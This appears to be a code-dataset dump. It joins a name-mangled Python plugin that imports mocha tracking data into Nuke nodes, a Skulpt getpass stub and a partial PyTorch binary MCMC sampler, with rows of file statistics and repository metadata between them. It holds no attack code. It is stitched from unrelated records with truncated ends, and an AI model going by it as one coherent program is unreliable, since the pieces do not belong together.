ay) - (bi - dX) * (C - aw)) / ((D - ax) * (C - ay) - (D - az) * (C - aw)) gd = bi - ea * C - eb * D m = (dY, dZ, gb, ea, eb, gd) return m def ge(m): z = m[0] T = m[1] ac = m[2] G = m[3] p = m[4] aJ = m[5] if z * p < 0: if z < 0: bQ = 1 z = -z T = -T else: bQ = 2 p = -p G = -G else: bQ = 0 bR = H.atan2(-T, z) bS = H.atan2(G, p) if abs(bR) < abs(bS): aA = bR cD = 0 cE = bS - bR bT = H.sqrt(z * z + T * T) bU = p / (H.cos(aA) - H.sin(aA) * H.tan(cE)) else: aA = bS cE = 0 cD = bS - bR bU = H.sqrt(p * p + G * G) bT = z / (H.cos(aA) + H.sin(aA) * H.tan(cD)) if 1 == bQ: bT = -bT if 2 == bQ: bU = -bU s = {'translation': (ac, aJ), 'rotation': aA, 'shear': (cD, cE), 'scale': (bT, bU)} return s def hk(m): return ( m[2], m[5]) def hl(m): G = m[3] p = m[4] aB = H.atan(G / p) return aB def hm(m): z = m[0] T = m[1] G = m[3] p = m[4] bj = H.sqrt(z * z + T * T) bk = H.sqrt(G * G + p * p) if z < 0: bj = bj * -1 if T < 0: bk = bk * -1 return (bj, bk) import math as H class gf(object): """abstract base class for transform data""" def hasPositionData(a): raise NotImplementedError('hasPositionData not implemented') def hasScaleData(a): raise NotImplementedError('hasScaleData not implemented') def hasRotationData(a): raise NotImplementedError('hasRotationData not implemented') def hasShearData(a): raise NotImplementedError('hasShearData not implemented') def getPositionValues(a, x): """for coordinate in 'x', 'y' returns a list of (frame,value) tuples""" raise NotImplementedError('getPositionValues not implemented') def getScaleValues(a, x): """for coordinate in 'x', 'y' returns a list of (frame,value) tuples""" raise NotImplementedError('getScaleValues not implemented') def getRotationValues(a): """returns a list of (frame,value) tuples""" raise NotImplementedError('getRotationValues not implemented') def getShearValues(a, x): """for coordinate in 'x', 'y' returns a list of (frame,value) tuples""" raise NotImplementedError('getShearValues not implemented') class gg(gf): """transform data that represents position, scale rotation and shear as a dictionary of lists""" def __init__(a): a.data = {'position': {'x': [], 'y': []}, 'rotation': [], 'scale': {'x': [], 'y': []}, 'shear': {'x': [], 'y': []}} def hasPositionData(a): bl = len(a.data['position']['x']) > 0 bm = len(a.data['position']['y']) > 0 return bl or bm def hasScaleData(a): bl = len(a.data['scale']['x']) > 0 bm = len(a.data['scale']['y']) > 0 return bl or bm def hasRotationData(a): gh = len(a.data['rotation']) > 0 return gh def hasShearData(a): bl = len(a.data['shear']['x']) > 0 bm = len(a.data['shear']['y']) > 0 return bl or bm def getPositionValues(a, x): assert x in ('x', 'y') return a.data['position'][x] def getScaleValues(a, x): assert x in ('x', 'y') return a.data['scale'][x] def getRotationValues(a): return a.data['rotation'] def getShearValues(a, x): assert x in ('x', 'y') return a.data['shear'][x] class bV(gg): """transform data that is obtained by converting corner pin data""" def __init__(a, d): super(bV, a).__init__() a.__importCpData(d) def __importCpData(a, d): t = d.getPointValues(0, 'x') J = d.getPointValues(0, 'y') K = d.getPointValues(1, 'x') L = d.getPointValues(1, 'y') M = d.getPointValues(2, 'x') N = d.getPointValues(2, 'y') V = d.getPointValues(3, 'x') W = d.getPointValues(3, 'y') if len(set([len(t), len(K), len(M), len(V), len(J), len(L), len(N), len(W)])) > 1: raise Exception('all corners must have the same amount of keyframes') bW = [] ec = [] aB = [] ed = [] ee = [] ef = [] eg = [] for c in range(0, len(t)): S = t[c][0] if len(set([t[c][0], K[c][0], M[c][0], V[c][0], J[c][0], L[c][0], N[c][0], W[c][0]])) > 1: raise Exception('times for keyframes of all four corners must be identical') cB = (t[c][1] + K[c][1] + M[c][1] + V[c][1]) / 4 cC = (J[c][1] + L[c][1] + N[c][1] + W[c][1]) / 4 bW.append((S, cB)) ec.append((S, cC)) ah = 0 aC = bW[ah][1] aD = bW[ah][1] bK = [t[ah][1] - aC, J[ah][1] - aD] bL = [K[ah][1] - aC, L[ah][1] - aD] bM = [M[ah][1] - aC, N[ah][1] - aD] bN = [t[c][1] - aC, J[c][1] - aD] bO = [K[c][1] - aC, L[c][1] - aD] bP = [M[c][1] - aC, N[c][1] - aD] gi = ga(bK, bL, bM, bN, bO, bP) bn = ge(gi) ed.append((S, bn['scale'][0])) ee.append((S, bn['scale'][1])) aB.append((S, H.degrees(bn['rotation']))) ef.append((S, bn['shear'][0])) eg.append((S, bn['shear'][1])) a.data['position']['x'] = bW a.data['position']['y'] = ec a.data['scale']['x'] = ed a.data['scale']['y'] = ee a.data['rotation'] = aB a.data['shear']['x'] = ef a.data['shear']['y'] = eg import pprint class cF(Exception): def __init__(a): a.message = 'Please choose at least one type of data that you want to import.' def gj(): g = b.createNode('Transform') be(g, 'mochaimport.transformNodeMI___loadTransformTrackingDataFromFilePopup(nuke.thisNode())', 'mochaimport.transformNodeMI___loadTransformTrackingDataFromClipboard(nuke.thisNode())') for cG in ['translate', 'rotate', 'scale', 'skew']: gk(cG, g) g['label'].setValue('MochaImport+') def gk(name, node): knob = b.Boolean_Knob('import' + name + 'data', 'import ' + name + ' data') knob.setTooltip('whether loading the mocha data generates keyframes for ' + name) knob.setValue(True) knob.setFlag(b.STARTLINE) node.addKnob(knob) def transformNodeMI___loadTransformTrackingDataFromFilePopup(g): try: eh(g) k = b.getFilename('Load Nuke Corner Pin Data from mocha', '*.nk') if k == None: return d = an(k) u = bV(d) cH(g, u) except IOError as f: b.message('Could not read file {0}:\n\nI/O error({1}): {2}'.format(k, f.errno, f.strerror)) except cornerPinData___FileFormatError as f: b.message('Could not read file {0}:\n\nInvalid File Format: {1}'.format(k, f.message)) except cF as f: b.message(f.message) return def transformNodeMI___loadTransformTrackingDataFromClipboard(g): try: eh(g) d = ao() u = bV(d) cH(g, u) except cornerPinData___FileFormatError as f: b.message('Clipboard does not contain valid tracking data:\n{0}'.format(f.message)) except cF as f: b.message(f.message) def eh(g): for cG in ['translate', 'rotate', 'scale', 'skew']: if g['import' + cG + 'data'].getValue(): return raise cF() def cH(g, u): if u.hasPositionData() and g['importtranslatedata'].getValue(): gl = Q(u.getPositionValues('x')) gm = Q(u.getPositionValues('y')) g['translate'].clearAnimated() g['translate'].setAnimated() g['translate'].animation(0).addKey(gl) g['translate'].animation(1).addKey(gm) if u.hasScaleData() and g['importscaledata'].getValue(): bj = Q(u.getScaleValues('x')) bk = Q(u.getScaleValues('y')) g['scale'].clearAnimated() g['scale'].setAnimated() g['scale'].setValue(1, 1) g['scale'].animation(0).addKey(bj) g['scale'].animation(1).addKey(bk) if u.hasRotationData() and g['importrotatedata'].getValue(): aB = Q(u.getRotationValues()) g['rotate'].clearAnimated() g['rotate'].setAnimated() g['rotate'].animation(0).addKey(aB) if u.hasShearData() and g['importskewdata'].getValue(): gn = Q(u.getShearValues('x')) go = Q(u.getShearValues('y')) g['skewX'].clearAnimated() g['skewX'].setAnimated() g['skewX'].animation(0).addKey(gn) g['skewY'].clearAnimated() g['skewY'].setAnimated() g['skewY'].animation(0).addKey(go) g['center'].clearAnimated() g['center'].setAnimated() g['center'].animation(0).setKey(0, 0) g['center'].animation(1).setKey(0, 0) import nukescripts import random import nuke as b import nuke.rotopaint as gp import nuke as b import nuke.rotopaint as gp def cI(bo): return ei(bo.rootLayer, [bo.rootLayer]) def ei(bd, list): for c in bd: ac = c.getAttributes() if isinstance(c, b.rotopaint.Shape): list.append(c) if isinstance(c, b.rotopaint.Stroke): list.append(c) if isinstance(c, b.rotopaint.Layer): list.append(c) ei(c, list) return list def ej(gq): return map(lambda ac: ac.name, gq) def gr(): return cJ('RotoPaint') def gs(): return cJ('Roto') def gt(): return cJ('SplineWarp3') def cJ(gu): E = b.createNode(gu) be(E, 'mochaimport.RotoPaintNodeMI___loadTransformMatrixFromFilePopup(nuke.thisNode())', 'mochaimport.RotoPaintNodeMI___loadTransformMatrixFromFromClipboard(nuke.thisNode())') cK = cI(E['curves']) cL = ej(cK) ek = b.Enumeration_Knob('trackingDataLayerMI', 'apply to layer', cL) ek.setTooltip('choose here to which layer the tracking data should be applied.') E.addKnob(ek) el(E) E['label'].setValue('MochaImport+') return E def RotoPaintNodeMI___loadTransformMatrixFromFilePopup(E): try: k = b.getFilename('Load Nuke Corner Pin Data from mocha', '*.nk') if k == None: return j = an(k) cM(E, j) except IOError as f: b.message('Could not read file {0}:\n\nI/O error({1}): {2}'.format(k, f.errno, f.strerror)) except cornerPinData___FileFormatError as f: b.message('Could not read file {0}:\n\nInvalid File Format: {1}'.format(k, f.message)) return def RotoPaintNodeMI___loadTransformMatrixFromFromClipboard(E): try: j = ao() cM(E, j) except cornerPinData___FileFormatError as f: b.message('Clipboard does not contain valid tracking data:\n{0}'.format(f.message)) def cM(E, d, cN=None, referenceFrame=None): bo = E['curves'] if cN == None: cN = int(E['trackingDataLayerMI'].getValue()) gv = cI(bo) bd = gv[cN] if referenceFrame == None: referenceFrame = em(E) bp = cu(d, referenceFrame) bp.applyToCurvesLayer(bd) bo.changed() return def em(node): if node['useCurrentFrameAsReferenceFrame'].getValue(): return int(b.frame()) else: return int(node['referenceFrameMI'].getValue()) def el(node): bq = b.Array_Knob('referenceFrameMI', 'reference frame') bq.setTooltip('at this frame, the shapes will preserve their position when the tracking data is loaded.') node.addKnob(bq) aE = b.Boolean_Knob('useCurrentFrameAsReferenceFrame', 'use current frame') aE.setTooltip('at this frame, the shapes will preserve their position when the tracking data is loaded.') aE.setValue(True) node.addKnob(aE) en(node) def en(node): aE = node['useCurrentFrameAsReferenceFrame'] bq = node['referenceFrameMI'] if not aE: return if not bq: return gw = not aE.getValue() bq.setEnabled(gw) def bX(): node = b.thisNode() knob = b.thisKnob() if knob.name() == 'useCurrentFrameAsReferenceFrame': en(node) def cO(): node = b.thisNode() knob = b.thisKnob() if knob.name() == 'curves': if node.knob('trackingDataLayerMI'): gx = node['trackingDataLayerMI'] cK = cI(knob) cL = ej(cK) gx.setValues(cL) b.addKnobChanged(cO, nodeClass='RotoPaint') b.addKnobChanged(cO, nodeClass='Roto') b.addKnobChanged(cO, nodeClass='SplineWarp3') b.addKnobChanged(bX, nodeClass='RotoPaint') b.addKnobChanged(bX, nodeClass='Roto') b.addKnobChanged(bX, nodeClass='GridWarp3') b.addKnobChanged(bX, nodeClass='SplineWarp3') def gy(): bY = b.createNode('GridWarp3') be(bY, 'mochaimport.RotoPaintNodeMI___loadTransformMatrixFromFilePopupGridWarp(nuke.thisNode())', 'mochaimport.RotoPaintNodeMI___loadTransformMatrixFromFromClipboardGridWarp(nuke.thisNode())') el(bY) bY['label'].setValue('MochaImport+') return bY def RotoPaintNodeMI___loadTransformMatrixFromFilePopupGridWarp(node): try: k = b.getFilename('Load Nuke Corner Pin Data from mocha', '*.nk') if k == None: return j = an(k) eo(node, j, 'source_grid_transform_matrix') except IOError as f: b.message('Could not read file {0}:\n\nI/O error({1}): {2}'.format(k, f.errno, f.strerror)) except cornerPinData___FileFormatError as f: b.message('Could not read file {0}:\n\nInvalid File Format: {1}'.format(k, f.message)) return def RotoPaintNodeMI___loadTransformMatrixFromFromClipboardGridWarp(node): try: j = ao() eo(node, j, 'source_grid_transform_matrix') except cornerPinData___FileFormatError as f: b.message('Clipboard does not contain valid tracking data:\n{0}'.format(f.message)) def eo(node, d, gz): referenceFrame = em(node) bp = cu(d, referenceFrame) bp.applyToArrayKnob(node[gz]) import nuke as b import os as al import nuke as b def hn(ep): for n in ep: n.autoplace() for n in ep: b.autoplaceSnap(n) class gA(object): """places nodes in a regular grid distance relative to each other""" def __init__(a): a.setGridSize(140, 120) def setGridSize(a, gB, gC): a.dx = gB a.dy = gC def placeNodeRelativeToNode(a, bZ, ca, ac, aJ): """places nodeToPlace x (y) grid steps away from nodeReference in x (y) direction""" gD = ca.screenWidth() - bZ.screenWidth() gE = ca.screenHeight() - bZ.screenHeight() bZ.setXpos(ca.xpos() + ac * a.dx + gD / 2) bZ.setYpos(ca.ypos() + aJ * a.dy + gE / 2) import re def cP(gF): for n in b.selectedNodes(): n.setSelected(False) gF.setSelected(True) def gG(): q = b.getFilename('Load from mocha FBX 6.1.0 3D Data for Nuke 6.3v7', '*.fbx') if q == None or not al.path.isfile(q): return else: if not q.lower().endswith('.fbx'): b.message( "filename must end with .fbx\nPlease choose a file exported with mocha Pro's camera module choosing the format named 'FBX 6.1.0 3D Data for Nuke 6..3v7 (*.fbx)'") return cQ(q) cR(q) return def cQ(q): cS = b.createNode('Camera2', 'file "%s" read_from_file True' % q) cS['fbx_node_name'].setValue('MochaCameraNode') aK = gH(q) cS['label'].setValue(aK) return cS def cR(q): cT = b.createNode('ReadGeo2', 'file "%s"' % q) cT['object_type'].setValue('Point Cloud') cT['label'].setValue('MochaImport+') return cT def gI(): q = b.getFilename('Load from mocha FBX 6.1.0 3D Data for Nuke 6.3v7', '*.fbx') if q == None or not al.path.isfile(q): return else: if not q.lower().endswith('.fbx'): b.message( "filename must end with .fbx\nPlease choose a file exported with mocha Pro's camera module choosing the format named 'FBX 6.1.0 3D Data for Nuke 6..3v7 (*.fbx)'") return eq(q) return def eq(q): selectedNode = False if b.nodesSelected(): selectedNode = b.selectedNode() P = cQ(q) br = cR(q) bs = b.createNode('Scene') bt = b.createNode('ScanlineRender') aF = b.createNode('TransformGeo') aq = b.createNode('Axis2') bs.setInput(0, aF) bs.setInput(1, P) aF.setInput(0, br) aF.setInput(1, aq) P.setInput(0, aq) bt.setInput(1, bs) bt.setInput(2, P) aG = gA() if selectedNode: bt.setInput(0, selectedNode) aG.placeNodeRelativeToNode(P, selectedNode, 2, 0) aG.placeNodeRelativeToNode(bs, P, -1, 0) aG.placeNodeRelativeToNode(bt, P, -1, 1) aG.placeNodeRelativeToNode(aF, P, -1, -1) aG.placeNodeRelativeToNode(aq, P, 0, -1) aG.placeNodeRelativeToNode(br, P, -2, -1) br.setName('PointCloud') aq['label'].setValue('OrientWorld') br['help'].setValue( 'renders the point cloud imported from the mocha camera track. Each tracked layer contributes 5 points (four corners + center of surface rectangle)') P['help'].setValue('camera imported from mocha camera track') aq['help'].setValue( 'use this node to orient the camera track in your scene as desired (e.g. make the ground plane horizontal etc...)') aF['help'].setValue('applies your world transformations from node ' + aq.name() + ' to the point cloud') cU = [P, br, bs, bt, aF, aq] cP(P) for node in cU: node.setSelected(True) er = gJ() er['label'].setValue('camera rig') cU.append(er) for node in cU: node.hideControlPanel() def gH(path): filename = al.path.basename(path) aK = filename + '\nMochaImport+' return aK def gJ(): aH = b.selectedNodes() if not aH: return b.nodes.BackdropNode(tile_color=int('%02x%02x%02x%02x' % (232.05, 145.095, 0, 255), 16), note_font_color=4294967040, note_font_size=36, name='MochaImport+') cV = min([node.xpos() for node in aH]) cW = min([node.ypos() for node in aH]) es = max([node.xpos() + node.screenWidth() for node in aH]) - cV et = max([node.ypos() + node.screenHeight() for node in aH]) - cW eu, ev, gK, gL = (-10, -80, 10, 10) cV += eu cW += ev es += gK - eu et += gL - ev n = b.nodes.BackdropNode(xpos=cV, bdwidth=es, ypos=cW, bdheight=et, tile_color=int('%02x%02x%02x%02x' % (232.05, 145.095, 0, 255), 16), note_font_color=4294967040, note_font_size=36, name='MochaImport+') n['selected'].setValue(True) for node in aH: node['selected'].setValue(True) return n import nuke as b import os as al def cX(cb): """ recursively return all nodes starting at topLevel. Default topLevel is nuke.root() """ allNodes = b.allNodes(group=cb) for n in allNodes: allNodes = allNodes + cX(n) return allNodes def ew(node): """ Return a dictionary of the nodes and pipes that are connected to node """ cY = {} gM = node.dependent(b.INPUTS | b.HIDDEN_INPUTS) for p in gM: cY[p] = [] for c in range(p.inputs()): if p.input(c) == node: cY[p].append(c) return cY def gN(node): """ return True if node is gizmo """ return 'gizmo_file' in node.knobs() def cZ(r): """Check if gizmo is in default install path""" da = al.path.dirname(b.EXE_PATH) ex = r.filename() gO = set(da.split('/')) gP = set(ex.split('/')) gP.issubset(gO) cZ = al.path.commonprefix([da, ex]) == da return cZ def gQ(n): """ return n's parent node, return nuke.root()n is on the top level """ return b.toNode('.'.join(n.fullName().split('.')[:-1])) or b.root() def db(r): """ copy gizmo to group and replace it in the tree, so all inputs and outputs use the new group. returns the new group node """ ey = gQ(r) gR = b.tcl( 'global no_gizmo; set no_gizmo 1; in %s {%s -New} ; return [value [stack 0].name]' % (ey.fullName(), r.Class())) group = b.toNode('.'.join((ey.fullName(), gR))) group.setSelected(False) if ew(r): for node, gS in ew(r).iteritems(): for c in gS: node.setInput(c, group) for c in range(r.inputs()): group.setInput(c, r.input(c)) group.setXYpos(r.xpos(), r.ypos()) group.readKnobs(r.writeKnobs(b.TO_SCRIPT)) b.delete(r) return group def ho(cb=b.root(), gT=False): for n in cX(cb): n.setSelected(False) for n in cX(cb): try: if gN(n): if not cZ(n): db(n) elif not gT: db(n) except ValueError: pass def gU(r): return dc(r) def gV(gW): return dc(gW) def gX(gY): return dc(gY) def dc(r): for gZ in b.allNodes(): gZ.knob('selected').setValue(False) ha = r.knob('name').value() hb = r.knob('tile_color').value() group = db(r) group.knob('name').setValue(ha) group.knob('tile_color').setValue(hb) return group cc = True class MiUnsupportedNodeTypeError(Exception): def __init__(a, value): a.value = value def __str__(a): return repr(a.value) def createStabilizedView(): """Creates a Stabilized View Rig :returns: nothing """ global cc y = b.createNode('StartStabilized') dd = b.createNode('Dot', '', False) de = b.createNode('Dot', '', False) w = b.createNode('EndStabilized') if cc: y = gV(y) w = gX(w) y['tile_color'].setValue(int('%02x%02x%02x%02x' % (232.05, 145.095, 0, 255), 16)) w['tile_color'].setValue(int('%02x%02x%02x%02x' % (232.05, 145.095, 0, 255), 16)) w.connectInput(2, y) stabilizedPrecompNode___connectPrecompNodes(y, w) cd = 250 df = 250 ez = 50 eA = 7 cP(dd) de.setSelected(True) eB = b.nodes.BackdropNode(xpos=y.xpos() + cd / 2, bdwidth=cd * 1.5, ypos=y.ypos() - ez, bdheight=df + 2 * ez, tile_color=int('%02x%02x%02x%02x' % (232.05, 145.095, 0, 255), 16), note_font_color=4294967040, note_font_size=36, name='MochaImport+') eB['label'].setValue('Stabilized View+') dd.setXpos(y.xpos() + cd) dd.setYpos(y.ypos() + eA) de.setXpos(y.xpos() + cd) de.setYpos(y.ypos() + df + eA) w.setXpos(y.xpos()) w.setYpos(y.ypos() + df) eB['help'].setValue( "\n<h2>Basic Usage of Stabilized View Rig</h2>\n<ol>\n<li>From the MochaImport+ menu, create the stabilized view rig consisting of the StartStabilized node, the EndStabilized node, and the Stabilized View Backdrop.</li>\n<li>Load your mocha tracking data in the StartStabilized node.\n</li><li>Do arbitrary manipulations in the Stabilized View by inserting new nodes inside the backdrop. All changes you do there in a stabilized setting will also be visible in your original perspective after the EndStabilized node.</li>\n</ol>\n\n<h2>Lens Distortion</h2>\nIf you've used the mocha Lens module to analyze the lens distortion of your clip, you need to do the following things to get an undistorted stabilized view and reapply the lens distortion to the final result:\n<ul>\n<li>make sure the mocha corner pin data you load into the StartStabilized node is exported from mocha Pro with the option 'Remove lens distortion'</li>\n<li>as UndistMap input of the StartStabilized node use a Distortion Map Clip (ST Map) exported with the mocha Pro lens module with option 'undistort'.</li>\n<li>as DistMap input of the EndStabilized node use a Distortion Map Clip (ST Map) exported with the mocha Pro lens module with option 'distort'.</li>\n</ul>".replace( '\n', '').replace('\r', '')) def createCornerPin(): """Creates a CornerPin with Lens Distortion node By default, a CornerPin with Lens Distortion is a group node. If mochaimport___setUseGizmos(True) has been called before, it will be a gizmo instead of a group. :returns: the created node """ i = b.createNode('CornerPinMI') i['tile_color'].setValue(int('%02x%02x%02x%02x' % (232.05, 145.095, 0, 255), 16)) if cc: i = gU(i) return i def createTracker3Node(): """Creates a Tracker+ (old) node A Tracker+ (old) node is a Tracker3 node that is extended with the ability to load mocha tracking data :returns: the created node """ return fQ() def createTracker4Node(): """Creates a Tracker+ node A Tracker+ node is a Tracker4 node that is extended with the ability to load mocha tracking data :returns: the created node """ return fR() def createTransformNodeMI(): gj() def createRotoPaintNodeMI(): """Creates a RotoPaint+ node A RotoPaint+ node is a RotoPaint node that is extended with the ability to load mocha tracking data :returns: the created node """ return gr() def createRotoNodeMI(): """Creates a Roto+ node A Roto+ node is a Roto node that is extended with the ability to load mocha tracking data :returns: the created node """ return gs() def createGridWarpNodeMI(): """Creates a GridWarp+ node A GridWarp+ node is a GridWarp3 node that is extended with the ability to load mocha tracking data :returns: the created node """ return gy() def createSplineWarpNodeMI(): """Creates a SplineWarp+ node A SplineWarp+ node is a SplineWarp3 node that is extended with the ability to load mocha tracking data :returns: the created node """ return gt() def createCameraAndPointCloud(mochaFbxFilePath=None): """Creates a camera node and a point cloud node for a fbx file exported from mocha The function sets all options of the two nodes to interpret the fbx file from mocha properly. If None is given as mochaFbxFilePath, the function shows a open file dialog to choose an fbx file. """ if mochaFbxFilePath == None: gG() else: cQ(mochaFbxFilePath) cR(mochaFbxFilePath) return def createCameraRig(mochaFbxFilePath=None): """Creates a mocha camera rig for a fbx file exported from mocha If None is given as mochaFbxFilePath, the function shows a open file dialog to choose an fbx file """ if mochaFbxFilePath == None: gI() else: eq(mochaFbxFilePath) return def hp(): return dp('MochaImport+', 'mochaimportnuke', '743985') def showSettings(): """Shows the settings dialog of MochaImport+""" cq = dz() cq.abag() def setUseGizmos(value=True): """Force MochaImport+ to use gizmos instead of groups for stabilized views and corner pins. Note that this breaks compatibility with machines where MochaImport+ is not installed. """ global cc cc = not value def applyMochaDataToNode(node, cornerpinData, referenceFrame=1, layerIndex=0): """Applies mocha cornerpin data to a node the node can have any of the node types supported by MochaImport+. :param node: the node to which the mocha tracking data should be applied :param cornerpinData: mocha corner pin data represented as a string :param referenceFrame: at which frame the moved object should be unchanged (only for the node types that have this control in their MochaImport+ tab) :param layerIndex: to which layer of the node the trackingdata is applied (optional, only for Roto, RotoPaint and SplineWarp nodes) """ hc = [ 'Transform', 'Tracker3', 'Tracker4', 'Group', 'GridWarp3', 'SplineWarp3', 'Roto', 'RotoPaint', 'CornerPinMI', 'StartStabilized'] if node.Class() not in hc: raise MiUnsupportedNodeTypeError('cannot apply mocha tracking data to node of class: ' + node.Class()) if node.Class() == 'Group' and ( node.knob('pin1') == None or node.knob('pin2') == None or node.knob( 'pin3') == None or node.knob( 'pin4') == None): raise MiUnsupportedNodeTypeError( "Can only apply tracking data to groups, if they have the knobs 'pin1', 'pin2', 'pin3' and 'pin4'") d = bz(cornerpinData) if node.Class() == 'Transform': u = bV(d) cH(node, u) elif node.Class() == 'Tracker3': cx(node, d) elif node.Class() == 'Tracker4': cA(node, d) elif node.Class() in ('Group', 'CornerPinMI', 'StartStabilized'): dg(d, node['pin1'], node['pin2'], node['pin3'], node['pin4']) elif node.Class() == 'GridWarp3': bp = cu(d, referenceFrame) bp.applyToArrayKnob(node['source_grid_transform_matrix']) elif node.Class() in ('SplineWarp3', 'Roto', 'RotoPaint'): cM(node, d, layerIndex, referenceFrame) return def hq(): eC = 'corner pin' hd = 'apply distortion' he = 'distortion map' i = b.nodes.CornerPin2D(name=eC) ce = b.nodes.STMap(name=hd, disable=True) eD = b.nodes.Read(name=he) if b.nodesSelected(): eE = b.selectedNode() fJ(eE, ce) i.setInput(0, eE) ce.setInput(0, i) ce.setInput(1, eD) cP(i) ce.setSelected(True) eD.setSelected(True) aI = b.collapseToGroup() aI.setName('corner pin MI') i = aI.node(eC) eM(aI) aI.addKnob(b.Text_Knob('divName', '', '')) eN(i, aI) i['to1'].setExpression('parent.pin1.x(t+parent.pinTimeOffset)', 0) i['to1'].setExpression('parent.pin1.y(t+parent.pinTimeOffset)', 1) i['to2'].setExpression('parent.pin2.x(t+parent.pinTimeOffset)', 0) i['to2'].setExpression('parent.pin2.y(t+parent.pinTimeOffset)', 1) i['to3'].setExpression('parent.pin3.x(t+parent.pinTimeOffset)', 0) i['to3'].setExpression('parent.pin3.y(t+parent.pinTimeOffset)', 1) i['to4'].setExpression('parent.pin4.x(t+parent.pinTimeOffset)', 0) i['to4'].setExpression('parent.pin4.y(t+parent.pinTimeOffset)', 1) fK(aI)

206.376296

63,435

0.877122

20,800

417,912

17.606875

0.459471

0.001229

0.001425

0.000601

0.07505

0.065231

0.061037

0.053033

0.048334

0.046286

0

0.081809

0.042844

417,912

2,024

63,436

206.478261

0.833733

0.000352

0

0.282152

0

0.035433

0.882903

0.857663

0

1

0

0.004593

0

null

0.001312

0.055118

null

0.003281

0

1

null

0

1

0

1

null

1

0

1

0

7

5ee28d90df22e59c0bffffb33f424e6b583f751a

39

py

Python

src/lib/getpass.py

DTenore/skulpt

098d20acfb088d6db85535132c324b7ac2f2d212

[ "MIT" ]

2,671

2015-01-03T08:23:25.000Z

2022-03-31T06:15:48.000Z

src/lib/getpass.py

wakeupmuyunhe/skulpt

a8fb11a80fb6d7c016bab5dfe3712517a350b347

[ "MIT" ]

972

2015-01-05T08:11:00.000Z

2022-03-29T13:47:15.000Z

src/lib/getpass.py

wakeupmuyunhe/skulpt

a8fb11a80fb6d7c016bab5dfe3712517a350b347

[ "MIT" ]

845

2015-01-03T19:53:36.000Z

2022-03-29T18:34:22.000Z

import _sk_fail; _sk_fail._("getpass")

19.5

38

0.769231

6

39

4.166667

0.666667

0.48

0

0.076923

39

1

39

0.694444

0

0.179487

0

1

0

true

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

6f0bd92ea44bbc9f15ce7ddb2215e5b1bde4616e

6,267

py

Python

PAS/debm/sampling/nb_sampler.py

ha0ransun/Path-Auxiliary-Sampler

a93912beda8e264f04704180e505a1b333f227c8

[ "MIT" ]

2

2022-03-15T09:08:56.000Z

2022-03-19T08:19:06.000Z

PAS/debm/sampling/nb_sampler.py

ha0ransun/Path-Auxiliary-Sampler

a93912beda8e264f04704180e505a1b333f227c8

[ "MIT" ]

null

PAS/debm/sampling/nb_sampler.py

ha0ransun/Path-Auxiliary-Sampler

a93912beda8e264f04704180e505a1b333f227c8

[ "MIT" ]

null

import torch import torch.nn as nn class NBSampler(nn.Module): def __init__(self, R): print('our binary sampler') super().__init__() self.R_list = [] self.R = R self.count = 0 self.succ = 0 def step(self, x, model): bsize = x.shape[0] x_rank = len(x.shape) - 1 radius = torch.randint(1, self.R * 2, size=(bsize, 1)) self.R_list.append(radius) max_r = torch.max(radius).item() r_mask = torch.arange(max_r).expand(bsize, max_r) < radius r_mask = r_mask.float().to(x.device) x = x.requires_grad_() score_x = model(x) grad_x = torch.autograd.grad(score_x.sum(), x)[0].detach() b_idx = torch.arange(bsize).to(x.device) with torch.no_grad(): cur_x = x.clone() idx_list = [] delta_x = -(2.0 * cur_x - 1.0) score_change_x = delta_x * grad_x / 2.0 prob_x = torch.softmax(score_change_x, dim=-1) for step in range(max_r): index = torch.multinomial(prob_x, 1).view(-1) cur_bits = cur_x[b_idx, index] new_bits = 1.0 - cur_bits cur_r_mask = r_mask[:, step] cur_x[b_idx, index] = cur_r_mask * new_bits + (1.0 - cur_r_mask) * cur_bits prob_x[b_idx, index] = 0 idx_list.append(index) y = cur_x y = y.requires_grad_() score_y = model(y) grad_y = torch.autograd.grad(score_y.sum(), y)[0].detach() with torch.no_grad(): r_idx = torch.arange(max_r).to(x.device).view(1, -1) idx_all = torch.stack(idx_list, dim=1) # bsize x max_r # fwd from x -> y change_fwd = score_change_x.unsqueeze(1).repeat(1, max_r, 1) for i, idx in enumerate(idx_list): for j in range(i + 1, max_r): change_fwd[b_idx, torch.LongTensor([j] * bsize).to(x.device), idx] = -float('inf') log_fwd = torch.log_softmax(change_fwd, dim=-1) log_fwd = torch.sum(log_fwd[b_idx.view(-1, 1), r_idx, idx_all] * r_mask, dim=-1) + score_x.view(-1) # backwd from y -> x delta_y = -(2.0 * y - 1.0) score_change_y = delta_y * grad_y / 2.0 change_bwd = score_change_y.unsqueeze(1).repeat(1, max_r, 1) for i, idx in enumerate(idx_list): for j in range(i): change_bwd[b_idx, torch.LongTensor([j] * bsize).to(x.device), idx] = -float('inf') log_bwd = torch.log_softmax(change_bwd, dim=-1) log_bwd = torch.sum(log_bwd[b_idx.view(-1,1), r_idx, idx_all] * r_mask, dim=-1) + score_y.view(-1) log_acc = log_bwd - log_fwd accepted = (log_acc.exp() >= torch.rand_like(log_acc)).float().view(-1, *([1] * x_rank)) new_x = y * accepted + (1.0 - accepted) * x self.count += bsize self.succ += accepted.sum() return new_x @property def avgR(self): return torch.stack(self.R_list, dim=-1).float().mean().item() class NBASampler(nn.Module): def __init__(self): print('our binary sampler') super().__init__() self.R_list = [] self.count = 0 self.succ = 0 def step(self, x, model): bsize = x.shape[0] x_rank = len(x.shape) - 1 x = x.requires_grad_() score_x = model(x) grad_x = torch.autograd.grad(score_x.sum(), x)[0].detach() b_idx = torch.arange(bsize).to(x.device) with torch.no_grad(): cur_x = x.clone() idx_list = [] delta_x = -(2.0 * cur_x - 1.0) score_change_x = delta_x * grad_x / 2.0 prob_x = torch.softmax(score_change_x, dim=-1) radius = (prob_x > 0.02).sum(dim=1, keepdim=True) + 1 self.R_list.append(radius) max_r = torch.max(radius).item() r_mask = torch.arange(max_r).to(x.device).expand(bsize, max_r) < radius r_mask = r_mask.float().to(x.device) for step in range(max_r): index = torch.multinomial(prob_x, 1).view(-1) cur_bits = cur_x[b_idx, index] new_bits = 1.0 - cur_bits cur_r_mask = r_mask[:, step] cur_x[b_idx, index] = cur_r_mask * new_bits + (1.0 - cur_r_mask) * cur_bits prob_x[b_idx, index] = 0 idx_list.append(index) y = cur_x y = y.requires_grad_() score_y = model(y) grad_y = torch.autograd.grad(score_y.sum(), y)[0].detach() with torch.no_grad(): r_idx = torch.arange(max_r).to(x.device).view(1, -1) idx_all = torch.stack(idx_list, dim=1) # bsize x max_r # fwd from x -> y change_fwd = score_change_x.unsqueeze(1).repeat(1, max_r, 1) for i, idx in enumerate(idx_list): for j in range(i 